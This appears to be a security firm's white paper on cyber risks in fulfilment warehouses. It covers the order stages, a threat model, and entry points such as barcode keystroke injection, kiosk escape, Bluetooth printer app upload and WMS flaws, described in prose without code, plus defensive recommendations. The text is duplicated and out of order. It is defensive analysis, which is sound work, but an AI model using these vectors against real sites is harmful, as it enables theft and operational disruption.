Sorting At the sorting stage, the warehouse starts to look more like a factory. Boxes move through conveyor belts and pass through different scanners, diverters, and chutes. The sorting plans are usually stored and managed by dedicated servers, while PLCs are responsible for controlling the machinery and executing these plans. For example, when the warehouse management system (WMS) decides that our unicorn should take route A, the control system needs to activate the right diverter at the right moment, sometimes within a fraction of a second.
Packing During packing, an employee or a robotic arm places the goods into the final box, prints the shipping label, and sometimes measures the dimensions and weight of the package. Safety mechanisms usually prevent robotic arms from leaving the controlled zone and harming nearby operators, but their compromise might inflict physical damage on the packages being processed.
Shipment Finally, at the shipping stage, the parcel heads to the gates. Automated guided vehicles (AGVs) and autonomous mobile robots (AMRs) move containers and pallets across the warehouse, while the dock management system coordinates the truck that will carry the unicorn onward to a store, a sorting center, or straight to the customer. These robots are themselves a potential target for attackers. Attacks can be conducted against AGVs and AMRs to interfere with their operation, for example by affecting their navigation or preventing them from reaching their intended destination.
All eight stages are coordinated by the WMS. It looks like a large web application, but in its role it’s closer to the operating system of the entire warehouse: it knows which goods exist, where they’re located, who or what should move them, and where they go next, linking employees, inventory levels, storage addresses, tasks, and orders. It also exchanges data externally: with ERP systems, transport platforms, marketplaces, dark stores, and external carriers.
Surrounding the WMS is an even larger digital ecosystem: identity services, databases, APIs, printers, carrier systems, technicians’ laptops, video surveillance, access control, fire and gas alarms, power supply, and a building management system (BMS).
That is why a single “warehouse network” doesn’t really exist. As we’ve seen, there are many overlapping technologies — IT infrastructure, OT systems, radio, cloud services, building security, and automation — layered on top of one another. A lone vulnerability scanner will never tell you whether a warehouse is secure.
Hunting the unicorn
Securing an environment such as a warehouse requires a comprehensive security assessment covering all of its interconnected systems. This involves identifying vulnerabilities across each system and understanding how weaknesses can be combined into attack paths that a real attacker could exploit. But a vulnerability only matters in proportion to what it exposes and who is able to reach it, so before looking at the weaknesses themselves, we need to understand what an attacker in this environment is actually after, because in a warehouse, the blast radius extends well beyond data. Everything we just traced — the systems, the devices, and the people operating them — exists to keep goods moving, and attacks in various parts along that chain can affect the business differently. The chart below shows what is at risk in the warehouse and where those risks land for the business. The segment on the left groups them under the three core security properties: integrity, availability, and confidentiality. The segment on the right maps each property to the business outcomes a failure can cause.
Warehouse risks
The first area at risk is integrity. Inventory counts, locations, orders, and shipment data must stay in sync with the physical world. Corrupting a record silently desynchronizes the operation, and because the eight stages form a dependency chain, one falsified entry early on is inherited downstream, surfacing later as stockouts and mis-shipments. In its deliberate forms, this lets an attacker redirect goods, release stock, and perform other actions on behalf of the platform’s vendors under cover of legitimate records. Integrity is also a safety concern: when people or machines act on information that no longer reflects the physical environment, a data failure can become a physical incident. This is why integrity is the only property linked to all five outcomes, including harm to people.
The second is availability, the warehouse’s ability to keep goods moving. Halting a conveyor, a sorter, label printing, or the WMS stops orders from shipping, and in a business built on speed, every hour of downtime means delayed deliveries and broken promises. Ransomware can bring the whole warehouse to a standstill. The impact shows up as operational disruption, lost revenue, and reputational damage.
The third is confidentiality. Customer data, business records, and system credentials are valuable targets. Their exposure leads to legal liability and reputational damage, and stolen credentials often open the door to further attacks. Where the WMS connects to financial or ERP processes, the risk extends to theft of funds.
Knowing what is at risk tells us what an attacker stands to gain; the next question is who is in a position to take it. Threat actors differ in the access they already hold. For example, an attacker may be authenticated and privileged, have limited physical or remote access, or have no legitimate access to the environment at all. Based on their relationship with the warehouse and their level of access, threat actors can generally be divided into two categories:
External. An attacker with no legitimate relationship with the warehouse or the organization, operating without authorized access. External attackers can be divided into two categories based on their physical proximity to the environment:
Remote. An attacker operating from outside the site’s physical area, reaching the environment through whatever the organization exposes or makes reachable over the internet, including web services, remote access infrastructure, and third-party connections used by suppliers, carriers, and integrators.
Proximate. An attacker with no legitimate access who has nevertheless moved within physical range of the site’s locally reachable technologies. They may, for example, be in a parking lot, a neighboring unit, or a delivery bay. Their proximity may allow them to interact with wireless, radio, Bluetooth, or other short-range interfaces without possessing an account, badge, employment relationship, or other authorized access.
Internal. An individual with legitimate access to the warehouse, its systems, or its information, who intentionally or unintentionally creates a security risk. This includes employees, administrators, operators, contractors, and temporary staff.
Combining these threat actors and their access levels with the risks identified earlier, the vulnerabilities present in each system, the resulting attack surfaces, and the potential attack paths between them provides a threat model for the warehouse environment. This allows an organization to understand how different systems and people could be targeted, how individual weaknesses could be combined, and where security controls are most needed.
Cornering the unicorn
Knowing what is at risk and who might come after it still leaves the most practical question open: how they would actually get in, and how far they could go once they did. The diagram below sets out the warehouse’s attack surface: every point where an attacker can get in, organized by the access that reaching each point requires.
Warehouse attack surface
On the left are the attacker categories discussed above, distinguished by where they stand and what access they already hold. Each reaches the environment through a different set of entry points, and the impact of a successful attack can land on several systems, from the WMS to OT systems such as robots, sorters, and physical access control system (PACS). The WMS is highlighted because it is the most significant of these: it coordinates the OT systems, so compromising it can affect the entire operation rather than a single process.
Next, we will cover the initial access vectors, the points a threat actor can use to reach the warehouse environment. Following that, we turn to the impact on the logistics processes themselves, focusing on the WMS, since its compromise affects every logistics operation that depends on it.
Initial attack vectors
Internet-facing services
Remote access through internet-facing services, third-party connections, and corporate networks gives an external attacker a foothold on the warehouse network infrastructure. It is a well-covered problem and not specific to this environment, so we note it here as an entry point but will not examine it further.
Wi-Fi, Bluetooth, and other radio channels
Wi-Fi connects handhelds, tablets, printers, cameras, and workstations. Bluetooth serves scanners, headsets, and positioning beacons. Zigbee and similar low-power protocols run lighting, sensors, and building automation, while LoRaWAN carries telemetry over long distances. Cellular provides a backup channel for kiosks and contractor equipment, and proprietary protocols control industrial panels and specialized machinery.
Radio passes through windows, gates, roofing, and thin external panels, so a network built for receiving and processing goods may be reachable from the parking lot and, with a directional antenna, from considerably farther away.
That reach matters in two ways. It gives an external attacker a place to start, as proximity alone is enough to reach the Wi-Fi and the low-power protocols, and from there to gain an initial foothold in the warehouse networks.
However, radio does not only lead into the network. It also connects directly to the field devices and carries the live control traffic of warehouse operations, which makes availability a first-order concern. If hundreds of handhelds lose their connection at once, picking stops. If an AGV loses its control channel, the safe reaction may be to halt in place, and a stopped machine can block an entire route.
Physical network
The scale of the warehouse itself is part of the attack surface. A fulfillment warehouse can run up to tens of thousands of square meters, with racking climbing several stories and walkways threading through it. Structured cabling runs along that racking, cameras and access points are mounted on that, and wall jacks sit behind pallets that have not moved in months. Almost none of it is in anyone’s line of sight.
That gives a person in the warehouse something a normal office does not: unsupervised access to live network infrastructure. Unplugging a ceiling camera leaves an active port. An unused jack behind a shelf leaves another. Neither requires tools, credentials, or any interaction with a system that logs anything. And since the camera or access point sits on the same segment as the rest of the site, the compromised port, not being isolated, opens a path to the network core.
Barcode scanners
Barcode scanners are everywhere in a warehouse. They are the main tool workers use to tell the system what is moving and where, supporting receiving, picking, packing, and inventory management. A typical setup has handheld scanners communicating with a base station, which is in turn connected to a workstation or another business system.
This makes the scanner an entry point into the core network in two ways.
First, through the barcode itself. Since the scanner acts as a keyboard to the connected host, a maliciously crafted barcode or QR code can inject keystrokes when scanned, potentially giving the attacker an initial foothold on the host without directly accessing the network.
Second, through the scanner’s wireless link. During a customer engagement, with the provided test stand of such a device, we discovered that an attacker within range could inject keystrokes into the connected host and potentially achieve remote code execution without user interaction. This attack pattern was observed across multiple vendors, including, for example, Honeywell devices affected by CVE-2026-4272.
In both cases, the result is the same: a foothold on a host inside the warehouse network. The scanner is simply the entry point; the significance of that foothold comes from the host’s trusted position within the operational environment and its connectivity to core systems.
Portable data terminals
Portable data terminals (PDTs) are essentially ordinary Android devices with an embedded barcode scanner, carried by workers to scan items; each scan is passed to a dedicated application that forwards it to a remote server over an API. To keep workers on task, the devices usually run in kiosk mode, locking the user to that single application and preventing interaction with the rest of the Android system.
That lockdown is exactly what an attacker wants to break, and breaking it is what turns the terminal into an initial access vector: escaping the kiosk can expose the Wi-Fi password of the network the terminal is connected to, or allow malicious software to be installed that gives the attacker remote access to the network over the internet.
Printers
Warehouses contain different types of printers. Alongside the usual IT printers used for documents and paperwork, there are specialized thermal printers, small devices that use heated elements on the printhead to create labels, barcodes, and tags. As we mentioned earlier, these are mainly used to print the labels, usually containing barcodes, that are attached to goods during the putaway stage.
Here we focus on mobile thermal printers: small, battery-powered devices that workers can carry or wear. They typically connect to the internal network over Wi-Fi to receive print commands, while also supporting Bluetooth for connecting to nearby devices. This combination makes them a potential entry point into the internal network.
Some models, such as the Zebra ZQ630, support multiple interfaces and can run applications directly on the device. During a security assessment, we discovered that apps can be uploaded and executed over Bluetooth. By exploiting a pairing misconfiguration, an attacker within Bluetooth range could bypass pairing, upload malicious software, and gain an initial foothold through the printer.
Impact on logistics processes (attacks on WMS)
With a foothold in the network, an attacker can pivot to the logistics processes themselves: from the WMS through the warehouse infrastructure to the PLCs and the machinery they drive. As we saw earlier, all OT systems and devices are interconnected and the WMS sits at the head of that chain: it is the system of record every other process reads from and writes to, so compromising it reaches all of them at once. That, and its being specific to this environment, is why it is the focus here.
Warehouse management systems (WMS) are the software platforms that optimize warehouse processes from the entry of goods to their exit. They provide real-time visibility into inventory and orchestrate end-to-end fulfillment by integrating with many warehouse subsystems and pieces of automation equipment, such as conveyors, PLCs, robotics, scanners, and voice systems. A typical WMS includes modules for receiving, inventory control, order management, labor management, shipping, and reporting. Major vendors include SAP EWM, Oracle Warehouse Management, Manhattan Active, Blue Yonder, Infor, Körber/HighJump, Microsoft, and TECSYS.
To picture how central this is, think back to our unicorn. From the moment it was scanned at receiving, it stopped being only a physical box and became a record inside the WMS, a record the system then used to decide where it should be stored, when it should be picked, how it should be sorted, and where it should ship. Every device employed along the way — the PDT at receiving, the printer at putaway, the workstation at picking, the conveyor at sorting — was really just talking to the WMS. It is the thread that ties all eight stages together, which is exactly what makes it such a valuable target.
Because modern WMS platforms are usually web-based and heavily interconnected, they inherit common web and API vulnerabilities alongside flaws specific to the WMS itself. A recent example is CVE-2026-70774 in Oracle Warehouse Management, part of Oracle E-Business Suite. Oracle rated it High and described it as an easily exploitable authorization bypass flaw in which a low-privileged attacker with network access can compromise the application, affecting integrity and availability by allowing unauthorized creation, deletion, or modification of critical data.
A flaw like this may look like a typical web application issue, but its consequences in a warehouse are more serious, because the WMS is the system of record. If an attacker can modify its data, they can alter stock levels, bin locations, receiving records, picking tasks, or shipment information, silently corrupting the digital twin of the warehouse. And since the eight stages form a dependency chain, that corruption doesn’t stay contained: a falsified record at receiving is inherited by putaway, picking, and everything downstream. The physical box and its record diverge, and every later process trusts the record.
The most direct version of this attack comes from an authorization bypass flaw like the Oracle vulnerability above. Here the threat actor can be an external attacker who has reached the application over the network, or an insider such as a low-privileged operator or storekeeper who already holds a legitimate account.
The danger grows when such a flaw is chained with others. An external attacker who combines remote code execution with SQL injection could generate shipment orders to arbitrary addresses together with the documents needed for goods to physically leave the warehouse, fabricate waybills, acceptance or transfer records, and registers, while also exposing customer data such as names and delivery addresses. In effect, the goods are sent out with legitimate-looking paperwork.
This is why ordinary web vulnerabilities carry considerable weight in a WMS. For an external attacker or an insider probing beyond their assigned role, broken access control could open a path into another warehouse zone, allow manipulation of other workers’ tasks, permit unauthorized exception operations, or expose administrative APIs. A server-side request forgery flaw could force the WMS server to reach resources an external attacker cannot touch directly, and if the network is flat or only formally segmented, that server may in turn reach internal management panels, cloud service interfaces, or systems sitting close to the operational network, turning a single web bug into a bridge between IT and OT.
Attacks on a WMS don’t always target the application directly, though. As we saw while tracing the unicorn, the warehouse is full of connected devices that already hold trusted access. A handheld terminal carries authenticated WMS API access as a matter of course, and anyone who gains control of that terminal inherits it (by escaping the kiosk, for example). Depending on the device’s permissions, that might mean confirming picks that never occurred, falsifying receiving operations, adjusting stock counts, or marking orders complete — something warehouse employees themselves could use to avoid their assigned duties.
Where the WMS is connected to control and automation systems, access to the WMS can extend into physical operations, including conveyors, sorting systems, lifts, doors, and pumps.
PLCs translate WMS instructions and sensor inputs into physical actions. Compromising a system that controls them therefore creates an opportunity to manipulate those actions. The impact can be as simple as a sorting diverter sending boxes down the wrong route, a conveyor repeatedly entering an error state and creating a backlog, or a falsified sensor value causing a line to be treated as clear when it is full.
However the WMS is compromised, the business consequence is the same: inventory corruption, unauthorized shipments, and operational disruption, each reaching the customer in the end as a late or missing delivery, the wrong item in the box, or a personal address exposed to a stranger.
Securing the unicorn
We followed our unicorn through web applications and databases, radio channels and PDTs, printers, conveyors, robots, and the loading zone. Because warehouse environments combine IT, OT, wireless, physical, and human components, security controls should be implemented as a single, coordinated security architecture rather than as isolated measures. Network segmentation should be a foundational control, with clear separation between corporate IT, warehouse OT, operational devices, management networks, and externally connected systems. Segmentation should also extend across facilities and customer environments so that each site and customer integration is isolated from the others, limiting the potential impact of a compromise. A zero-trust approach should reinforce this architecture by requiring explicit authentication and authorization for connections between systems, regardless of their network location, and by applying least-privilege access wherever possible. Regular penetration testing of the corporate IT environment, including domain services, identity infrastructure, and endpoints, should be incorporated into the warehouse security program.
Physical and network access controls should be implemented together. Access to warehouse facilities, network rooms, communication cabinets, and operational areas should be restricted according to business need, with appropriate authentication, monitoring, and access logging. Network infrastructure should be hardened through controls such as switch port security, MAC-based access restrictions where appropriate, and IEEE 802.1X with EAP-TLS for strong device and user authentication. Network equipment should also be securely configured and regularly reviewed to ensure that unused interfaces, insecure management protocols, default credentials, and unnecessary services are disabled.
Web applications and their supporting infrastructure should be governed through a secure software development lifecycle (SSDLC), including security requirements, secure coding practices, code and dependency review, and application security assessment before deployment and throughout the application’s lifecycle. Third-party applications and components should be continuously monitored and updated, with a defined vulnerability and patch management process. This should explicitly include warehouse management systems (WMS), warehouse portals, APIs, and other applications that provide operational or customer-facing functionality.
Wireless technologies should be subject to dedicated security assessment and engineering. Radio-frequency surveys should be conducted to establish expected coverage, identify unauthorized or unexpected signals, validate the availability and protection of operational communications, and determine whether wireless deployments create unintended access paths into warehouse networks. Wireless security should be assessed not only from a connectivity perspective but also in terms of authentication, encryption, device provisioning, protocol exposure, interference resilience, and the potential impact of unauthorized devices.
Warehouse operational devices should be incorporated into the organization’s endpoint security and vulnerability management processes. Devices should receive security updates and firmware patches on a defined schedule, with accelerated remediation for critical vulnerabilities. Security assessments should be performed periodically to identify weaknesses in device configuration, applications, exposed services, and authentication mechanisms.
Personnel security should form an additional layer of the warehouse security architecture. In most industrial and ICS environments, getting inside means clearing background checks, holding relevant qualifications, or proving prior experience; the hiring process itself acts as a filter. A warehouse is different. Roles in sorting, packing, and courier work are hired quickly and in volume, and they typically require no prior expertise, certification, or specialized background at all. An ordinary person can walk in off the street, be hired within days, and immediately hold legitimate physical access to the facility. Therefore, a more restrictive and risk-based approach to hiring should be considered, particularly for roles that provide access to sensitive areas, operational systems, network infrastructure, or customer assets.
Ultimately, all of these measures serve the same objective: protecting the continuity and reliability of the warehouse as a whole. This matters because real warehouses handle food, medicines, machine parts, and the millions of ordinary things people and companies depend on every day. Protecting their journey means seeing the warehouse as it has actually become: a single digital system with doors, motors, shelving, and radio signals, and with entirely real consequences when it fails. And if the security program works, the customer never knows any of this happened. The unicorn simply arrives at the scheduled time.
If your warehouse operations rely on interconnected systems like these, we can help identify the gaps before an adversary does. Reach out to discuss a security assessment.
Imagine you’ve ordered a small paper unicorn from an online marketplace. You clicked “Buy”, received a cheerful notification, and expect a courier to bring the box tomorrow. If the unicorn is delayed by a day, it will be annoying but not catastrophic: an apology, a discount promo code — and the incident is forgotten.
Now let’s multiply one late unicorn by several hundred thousand orders.
Packages start heading to the wrong cities. The website shows an item is in stock, even though the required bin is empty. Conveyors stop, boxes get stuck between floors, the cargo piles up with no freight manifest. Trucks line up at the gates, and every minute of downtime turns into blown schedules, support tickets, fines, and lost sales.
It is at exactly this scale that a cyberincident in a warehouse becomes a problem for the entire business. A modern warehouse is no longer just a big building with shelving. It is a tightly interconnected hybrid system: web applications, radio channels, and an automated factory. Physical processes here depend on data, and errors in data have very physical consequences. Examples include an outage that affected warehouse management systems at the grocery giant Morrisons, and the 2025 Form 10-K annual report of United Natural Foods, Inc. (UNFI), which confirmed unauthorized activity on information technology systems that impacted order fulfillment. More recently, reports emerged that a cyberattack disrupted eight CEVA Logistics warehouses across Europe and exposed customer delivery data.
This paper follows a single order through a warehouse to show where the operation is vulnerable, the stages it traverses, the systems that drive it, and the points where an attacker can reach them. We then set out the threat model: what is at risk, who is in a position to take it, and how each risk lands on the business. From there, we look at how an attacker gets in, and what reaching the warehouse management system costs in practical terms: orders unshipped, inventory records nobody can trust, and an operation that stops. We close with recommendations on where the controls that matter actually sit.
Tracing the unicorn
A modern warehouse is a sequence of stages involving many machines and people, all working together to keep the business process stable so that, in the end, your order gets delivered. This process consists of eight main stages, shown in the figure below.
Stages of order fulfillment
So let’s assume we’ve ordered our paper unicorn and are waiting for it at home. Let’s follow our order through all the main stages, from its arrival at the warehouse to the final stop on its journey.
Unloading First, the unicorn arrives in the unloading zone, packed in a big truck. The driver is assigned a gate, for example, via a tablet with kiosk mode enabled, or an outdoor display board, indicating where the truck should park and where the cargo will be unloaded. Even at this very first step, a digital command (the gate number on the screen) is already triggering a physical action. Therefore, incorrectly assigned gates can create a queue, delay unloading, or send goods into the wrong workflow.
Receiving At this stage, employees identify the cargo. They scan a barcode using a portable data terminal (PDT) and the central system receives a message indicating that this object arrives at the warehouse. From this moment, the unicorn exists in two forms at once: as a real box and as a record in the information system. If these two versions diverge, the error is inherited by all subsequent processes.
Putaway Next, the goods are moved into internal storage. Two new devices come into play here. First, a thermal printer, connected to the internal network over Wi-Fi, creates an internal label for each item. Then an employee, forklift, or automated system moves the goods to the assigned bin, often with the help of lifts controlled by PLCs. Both of these devices can be valuable attack entry points: one can let an adversary pivot into the internal network, while the other can give them control over an electric motor.
Storage Then the unicorn goes into storage. Many distribution centers use multi-level mezzanine structures: several floors of metal shelving inside a huge space. They allow efficient use of the building’s height, but at the same time complicate control over the technical infrastructure. Wi-Fi access points, cameras, switches, cables, and sensors may be mounted high overhead or buried deep inside the rows. A forgotten Ethernet cable or misconfigured networked device (access point or switch) left behind in a dark corner can become a convenient initial access point into critical infrastructure.
Picking When the customer places an order, picking begins if the goods were already stored in the warehouse or as soon as they are unloaded. A PDT, workstation, light indicator, or voice terminal directs the employee to the required bin where they pick the goods and move them to the next stage. These devices are themselves potential attack entry points: compromising a workstation or PDT could allow an attacker to manipulate picking information, which could misdirect employees to the wrong bin. Here, both the speed and integrity of the information are critical, and any manipulation or disruption can lead to wrong orders, delays, or problems in subsequent stages.
Sorting At the sorting stage, the warehouse starts to look more like a factory. Boxes move through conveyor belts and pass through different scanners, diverters, and chutes. The sorting plans are usually stored and managed by dedicated servers, while PLCs are responsible for controlling the machinery and executing these plans. For example, when the warehouse management system (WMS) decides that our unicorn should take route A, the control system needs to activate the right diverter at the right moment, sometimes within a fraction of a second.
Packing During packing, an employee or a robotic arm places the goods into the final box, prints the shipping label, and sometimes measures the dimensions and weight of the package. Safety mechanisms usually prevent robotic arms from leaving the controlled zone and harming nearby operators, but their compromise might inflict physical damage on the packages being processed.
Shipment Finally, at the shipping stage, the parcel heads to the gates. Automated guided vehicles (AGVs) and autonomous mobile robots (AMRs) move containers and pallets across the warehouse, while the dock management system coordinates the truck that will carry the unicorn onward to a store, a sorting center, or straight to the customer. These robots are themselves a potential target for attackers. Attacks can be conducted against AGVs and AMRs to interfere with their operation, for example by affecting their navigation or preventing them from reaching their intended destination.
All eight stages are coordinated by the WMS. It looks like a large web application, but in its role it’s closer to the operating system of the entire warehouse: it knows which goods exist, where they’re located, who or what should move them, and where they go next, linking employees, inventory levels, storage addresses, tasks, and orders. It also exchanges data externally: with ERP systems, transport platforms, marketplaces, dark stores, and external carriers.
Surrounding the WMS is an even larger digital ecosystem: identity services, databases, APIs, printers, carrier systems, technicians’ laptops, video surveillance, access control, fire and gas alarms, power supply, and a building management system (BMS).
That is why a single “warehouse network” doesn’t really exist. As we’ve seen, there are many overlapping technologies — IT infrastructure, OT systems, radio, cloud services, building security, and automation — layered on top of one another. A lone vulnerability scanner will never tell you whether a warehouse is secure.
Hunting the unicorn
Securing an environment such as a warehouse requires a comprehensive security assessment covering all of its interconnected systems. This involves identifying vulnerabilities across each system and understanding how weaknesses can be combined into attack paths that a real attacker could exploit. But a vulnerability only matters in proportion to what it exposes and who is able to reach it, so before looking at the weaknesses themselves, we need to understand what an attacker in this environment is actually after, because in a warehouse, the blast radius extends well beyond data. Everything we just traced — the systems, the devices, and the people operating them — exists to keep goods moving, and attacks in various parts along that chain can affect the business differently. The chart below shows what is at risk in the warehouse and where those risks land for the business. The segment on the left groups them under the three core security properties: integrity, availability, and confidentiality. The segment on the right maps each property to the business outcomes a failure can cause.
Warehouse risks
The first area at risk is integrity. Inventory counts, locations, orders, and shipment data must stay in sync with the physical world. Corrupting a record silently desynchronizes the operation, and because the eight stages form a dependency chain, one falsified entry early on is inherited downstream, surfacing later as stockouts and mis-shipments. In its deliberate forms, this lets an attacker redirect goods, release stock, and perform other actions on behalf of the platform’s vendors under cover of legitimate records. Integrity is also a safety concern: when people or machines act on information that no longer reflects the physical environment, a data failure can become a physical incident. This is why integrity is the only property linked to all five outcomes, including harm to people.
The second is availability, the warehouse’s ability to keep goods moving. Halting a conveyor, a sorter, label printing, or the WMS stops orders from shipping, and in a business built on speed, every hour of downtime means delayed deliveries and broken promises. Ransomware can bring the whole warehouse to a standstill. The impact shows up as operational disruption, lost revenue, and reputational damage.
The third is confidentiality. Customer data, business records, and system credentials are valuable targets. Their exposure leads to legal liability and reputational damage, and stolen credentials often open the door to further attacks. Where the WMS connects to financial or ERP processes, the risk extends to theft of funds.
Knowing what is at risk tells us what an attacker stands to gain; the next question is who is in a position to take it. Threat actors differ in the access they already hold. For example, an attacker may be authenticated and privileged, have limited physical or remote access, or have no legitimate access to the environment at all. Based on their relationship with the warehouse and their level of access, threat actors can generally be divided into two categories:
External. An attacker with no legitimate relationship with the warehouse or the organization, operating without authorized access. External attackers can be divided into two categories based on their physical proximity to the environment:
Remote. An attacker operating from outside the site’s physical area, reaching the environment through whatever the organization exposes or makes reachable over the internet, including web services, remote access infrastructure, and third-party connections used by suppliers, carriers, and integrators.
Proximate. An attacker with no legitimate access who has nevertheless moved within physical range of the site’s locally reachable technologies. They may, for example, be in a parking lot, a neighboring unit, or a delivery bay. Their proximity may allow them to interact with wireless, radio, Bluetooth, or other short-range interfaces without possessing an account, badge, employment relationship, or other authorized access.
Internal. An individual with legitimate access to the warehouse, its systems, or its information, who intentionally or unintentionally creates a security risk. This includes employees, administrators, operators, contractors, and temporary staff.
Combining these threat actors and their access levels with the risks identified earlier, the vulnerabilities present in each system, the resulting attack surfaces, and the potential attack paths between them provides a threat model for the warehouse environment. This allows an organization to understand how different systems and people could be targeted, how individual weaknesses could be combined, and where security controls are most needed.
Cornering the unicorn
Knowing what is at risk and who might come after it still leaves the most practical question open: how they would actually get in, and how far they could go once they did. The diagram below sets out the warehouse’s attack surface: every point where an attacker can get in, organized by the access that reaching each point requires.
Warehouse attack surface
On the left are the attacker categories discussed above, distinguished by where they stand and what access they already hold. Each reaches the environment through a different set of entry points, and the impact of a successful attack can land on several systems, from the WMS to OT systems such as robots, sorters, and physical access control system (PACS). The WMS is highlighted because it is the most significant of these: it coordinates the OT systems, so compromising it can affect the entire operation rather than a single process.
Next, we will cover the initial access vectors, the points a threat actor can use to reach the warehouse environment. Following that, we turn to the impact on the logistics processes themselves, focusing on the WMS, since its compromise affects every logistics operation that depends on it.
Initial attack vectors
Internet-facing services
Remote access through internet-facing services, third-party connections, and corporate networks gives an external attacker a foothold on the warehouse network infrastructure. It is a well-covered problem and not specific to this environment, so we note it here as an entry point but will not examine it further.
Wi-Fi, Bluetooth, and other radio channels
Wi-Fi connects handhelds, tablets, printers, cameras, and workstations. Bluetooth serves scanners, headsets, and positioning beacons. Zigbee and similar low-power protocols run lighting, sensors, and building automation, while LoRaWAN carries telemetry over long distances. Cellular provides a backup channel for kiosks and contractor equipment, and proprietary protocols control industrial panels and specialized machinery.
Radio passes through windows, gates, roofing, and thin external panels, so a network built for receiving and processing goods may be reachable from the parking lot and, with a directional antenna, from considerably farther away.
That reach matters in two ways. It gives an external attacker a place to start, as proximity alone is enough to reach the Wi-Fi and the low-power protocols, and from there to gain an initial foothold in the warehouse networks.
However, radio does not only lead into the network. It also connects directly to the field devices and carries the live control traffic of warehouse operations, which makes availability a first-order concern. If hundreds of handhelds lose their connection at once, picking stops. If an AGV loses its control channel, the safe reaction may be to halt in place, and a stopped machine can block an entire route.
Physical network
The scale of the warehouse itself is part of the attack surface. A fulfillment warehouse can run up to tens of thousands of square meters, with racking climbing several stories and walkways threading through it. Structured cabling runs along that racking, cameras and access points are mounted on that, and wall jacks sit behind pallets that have not moved in months. Almost none of it is in anyone’s line of sight.
That gives a person in the warehouse something a normal office does not: unsupervised access to live network infrastructure. Unplugging a ceiling camera leaves an active port. An unused jack behind a shelf leaves another. Neither requires tools, credentials, or any interaction with a system that logs anything. And since the camera or access point sits on the same segment as the rest of the site, the compromised port, not being isolated, opens a path to the network core.
Barcode scanners
Barcode scanners are everywhere in a warehouse. They are the main tool workers use to tell the system what is moving and where, supporting receiving, picking, packing, and inventory management. A typical setup has handheld scanners communicating with a base station, which is in turn connected to a workstation or another business system.
This makes the scanner an entry point into the core network in two ways.
First, through the barcode itself. Since the scanner acts as a keyboard to the connected host, a maliciously crafted barcode or QR code can inject keystrokes when scanned, potentially giving the attacker an initial foothold on the host without directly accessing the network.
Second, through the scanner’s wireless link. During a customer engagement, with the provided test stand of such a device, we discovered that an attacker within range could inject keystrokes into the connected host and potentially achieve remote code execution without user interaction. This attack pattern was observed across multiple vendors, including, for example, Honeywell devices affected by CVE-2026-4272.
In both cases, the result is the same: a foothold on a host inside the warehouse network. The scanner is simply the entry point; the significance of that foothold comes from the host’s trusted position within the operational environment and its connectivity to core systems.
Portable data terminals
Portable data terminals (PDTs) are essentially ordinary Android devices with an embedded barcode scanner, carried by workers to scan items; each scan is passed to a dedicated application that forwards it to a remote server over an API. To keep workers on task, the devices usually run in kiosk mode, locking the user to that single application and preventing interaction with the rest of the Android system.
That lockdown is exactly what an attacker wants to break, and breaking it is what turns the terminal into an initial access vector: escaping the kiosk can expose the Wi-Fi password of the network the terminal is connected to, or allow malicious software to be installed that gives the attacker remote access to the network over the internet.
Printers
Warehouses contain different types of printers. Alongside the usual IT printers used for documents and paperwork, there are specialized thermal printers, small devices that use heated elements on the printhead to create labels, barcodes, and tags. As we mentioned earlier, these are mainly used to print the labels, usually containing barcodes, that are attached to goods during the putaway stage.
Here we focus on mobile thermal printers: small, battery-powered devices that workers can carry or wear. They typically connect to the internal network over Wi-Fi to receive print commands, while also supporting Bluetooth for connecting to nearby devices. This combination makes them a potential entry point into the internal network.
Some models, such as the Zebra ZQ630, support multiple interfaces and can run applications directly on the device. During a security assessment, we discovered that apps can be uploaded and executed over Bluetooth. By exploiting a pairing misconfiguration, an attacker within Bluetooth range could bypass pairing, upload malicious software, and gain an initial foothold through the printer.
Impact on logistics processes (attacks on WMS)
With a foothold in the network, an attacker can pivot to the logistics processes themselves: from the WMS through the warehouse infrastructure to the PLCs and the machinery they drive. As we saw earlier, all OT systems and devices are interconnected and the WMS sits at the head of that chain: it is the system of record every other process reads from and writes to, so compromising it reaches all of them at once. That, and its being specific to this environment, is why it is the focus here.
Warehouse management systems (WMS) are the software platforms that optimize warehouse processes from the entry of goods to their exit. They provide real-time visibility into inventory and orchestrate end-to-end fulfillment by integrating with many warehouse subsystems and pieces of automation equipment, such as conveyors, PLCs, robotics, scanners, and voice systems. A typical WMS includes modules for receiving, inventory control, order management, labor management, shipping, and reporting. Major vendors include SAP EWM, Oracle Warehouse Management, Manhattan Active, Blue Yonder, Infor, Körber/HighJump, Microsoft, and TECSYS.
To picture how central this is, think back to our unicorn. From the moment it was scanned at receiving, it stopped being only a physical box and became a record inside the WMS, a record the system then used to decide where it should be stored, when it should be picked, how it should be sorted, and where it should ship. Every device employed along the way — the PDT at receiving, the printer at putaway, the workstation at picking, the conveyor at sorting — was really just talking to the WMS. It is the thread that ties all eight stages together, which is exactly what makes it such a valuable target.
Because modern WMS platforms are usually web-based and heavily interconnected, they inherit common web and API vulnerabilities alongside flaws specific to the WMS itself. A recent example is CVE-2026-70774 in Oracle Warehouse Management, part of Oracle E-Business Suite. Oracle rated it High and described it as an easily exploitable authorization bypass flaw in which a low-privileged attacker with network access can compromise the application, affecting integrity and availability by allowing unauthorized creation, deletion, or modification of critical data.
A flaw like this may look like a typical web application issue, but its consequences in a warehouse are more serious, because the WMS is the system of record. If an attacker can modify its data, they can alter stock levels, bin locations, receiving records, picking tasks, or shipment information, silently corrupting the digital twin of the warehouse. And since the eight stages form a dependency chain, that corruption doesn’t stay contained: a falsified record at receiving is inherited by putaway, picking, and everything downstream. The physical box and its record diverge, and every later process trusts the record.
The most direct version of this attack comes from an authorization bypass flaw like the Oracle vulnerability above. Here the threat actor can be an external attacker who has reached the application over the network, or an insider such as a low-privileged operator or storekeeper who already holds a legitimate account.
The danger grows when such a flaw is chained with others. An external attacker who combines remote code execution with SQL injection could generate shipment orders to arbitrary addresses together with the documents needed for goods to physically leave the warehouse, fabricate waybills, acceptance or transfer records, and registers, while also exposing customer data such as names and delivery addresses. In effect, the goods are sent out with legitimate-looking paperwork.
This is why ordinary web vulnerabilities carry considerable weight in a WMS. For an external attacker or an insider probing beyond their assigned role, broken access control could open a path into another warehouse zone, allow manipulation of other workers’ tasks, permit unauthorized exception operations, or expose administrative APIs. A server-side request forgery flaw could force the WMS server to reach resources an external attacker cannot touch directly, and if the network is flat or only formally segmented, that server may in turn reach internal management panels, cloud service interfaces, or systems sitting close to the operational network, turning a single web bug into a bridge between IT and OT.
